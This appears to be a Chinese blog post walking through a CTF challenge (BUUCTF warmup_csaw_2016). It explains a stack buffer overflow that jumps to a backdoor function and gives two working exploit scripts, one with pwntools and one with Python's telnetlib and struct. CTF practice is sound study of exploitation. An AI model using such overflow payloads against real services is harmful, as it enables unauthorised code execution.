没有pwntools怎么做pwn?

例题是BUUCTF的warmup_csaw_2016

为何要练习脱手pwntools,pwntools不香吗???那当然是比赛的主办方脑残

无pwntools查看保护已经在上一章讲过(无pwntools时如何查看保护 - LY牟 - 博客园 (cnblogs.com)),这次直接上题目

 

 这是一道很简单的题目,先扔到kali看一下基本信息

没有开PIE且是一个64位的程序,那么上IDA!

 

没有发现__stack_chk_fail函数,那么他也莫得canary,并且发现了后门函数sub_40060D

 

 去瞅一瞅main函数,溢出点非常明显

 

 查看V5的栈空间,加偏移一共是0x48的大小

 

 

 这道题如果使用pwntools来写exp的话非常的简单,如下:

from pwn import*

tel=remote('node4.buuoj.cn',27103)
payload=b'a'*0x48+p64(0x40060D)
tel.sendline(payload)

tel.interactive()

那么问题来了,如果没有pwntools该如何进行发包接收呢?

诶嘿~

我们需要用到两个模块

telnetlib和struct这俩都是python自带的内置模块,所以可以完美解决无pwntools的问题

 

无pwntools只是那其他的函数进行代替,并没有多么的难,重点还是在对题目的理解上,习惯就好

 

这,就是无pwntools的exp!!!


import telnetlib
import struct

def p64(addr):#定义p64函数
    return struct.pack("L",addr)# 小写是封装有符号,大写封装无符号
def u64(addr):
    return struct.unpack("L",addr)[0]
tel=telnetlib.Telnet('node4.buuoj.cn',27103)#等效于remote

addr=('0x40060D')#后门函数地址
addr=int(addr,16)
payload=b'a'*0x48+p64(addr)
tel.write(payload)#等效于.sendline()
tel.read_until(':')
#等效于.recvuntil(':')
tel.interact() 
posted @ 2021-11-10 19:26  LY牟  阅读(138)  评论(2)    收藏  举报